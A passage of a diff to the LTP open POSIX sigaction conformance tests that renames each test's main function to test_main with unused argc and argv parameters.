+int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-24.c index 798cf36b..ed234f25 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-24.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-25.c index 07a7130f..b9a43c8d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-25.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-25.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-26.c index c1f3828d..2a8af073 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-26.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-3.c index 3a5d5d74..0b92240a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-3.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-4.c index 59a22beb..40d45cd0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-4.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-5.c index 683e4737..ea5384d2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-5.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-6.c index 961c7155..9df92ee1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-6.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-7.c index 684cced4..5a715c14 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-7.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-8.c index e3f8c39e..1670408b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-8.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-8.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-9.c index 22e10231..b01df625 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-9.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/30-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/30-1.c index 0251e49f..ddf9a529 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/30-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/30-1.c @@ -86,7 +86,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-1.c index 596e56dc..d4469aa6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-1.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-10.c index 5f8e79ea..9151b50f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-10.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-100.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-100.c index e49fc9aa..520428db 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-100.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-100.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-101.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-101.c index 006b884a..12d7bf0f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-101.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-101.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-102.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-102.c index 053fda36..c410f12c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-102.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-102.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-103.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-103.c index 42567852..7b0ab736 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-103.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-103.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-104.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-104.c index cd9c075a..b6165a80 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-104.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-104.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-11.c index 57d7f63c..f88b63a4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-11.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-12.c index 79b78649..5c6c8bcc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-12.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-13.c index 8d7f3372..6d8254fb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-13.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-14.c index 334d3936..912b73ab 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-14.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-15.c index fff90d00..ebdf9c33 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-15.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-15.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-16.c index f86b4103..692c7f4f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-16.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-17.c index c99a06ac..57662a33 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-17.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-18.c index f8bea65f..9d8853f0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-18.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-19.c index f8bea65f..9d8853f0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-19.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-2.c index f8bea65f..9d8853f0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-2.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-20.c index 0c759120..8c9d82f4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-20.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-21.c index ba014a5a..27a6f22a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-21.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-22.c index 2822977f..a0a07a2a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-22.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-23.c index b9cdc2a5..9df370b7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-23.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-24.c index ee9b9823..772dcf91 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-24.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-25.c index 259dd7d9..68106afa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-25.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-25.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-26.c index 09ee6b0f..eee7ce3e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-26.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-27.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-27.c index a460dfb3..7908f4c7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-27.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-27.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-28.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-28.c index 715cdba4..000e3f46 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-28.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-28.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-29.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-29.c index 234ad5b0..9c621002 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-29.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-29.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-3.c index a6360502..cac24d29 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-3.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-30.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-30.c index dca9a1d8..e039b6c5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-30.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-30.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-31.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-31.c index 4e697b35..54ec34c6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-31.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-31.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-32.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-32.c index 7927567f..cc4fe688 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-32.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-32.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-33.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-33.c index a6091007..2d0296dd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-33.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-33.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-34.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-34.c index e5e8fa2b..d0a55f5b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-34.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-34.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-35.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-35.c index a3b51570..196eb698 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-35.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-35.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-36.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-36.c index d4208c46..7f203512 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-36.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-36.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-37.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-37.c index 40c1effe..9df7bed2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-37.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-37.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-38.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-38.c index 58e44c9c..c8ec8679 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-38.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-38.c @@ -38,7 +38,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-39.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-39.c index 90b03268..ff32a2da 100644 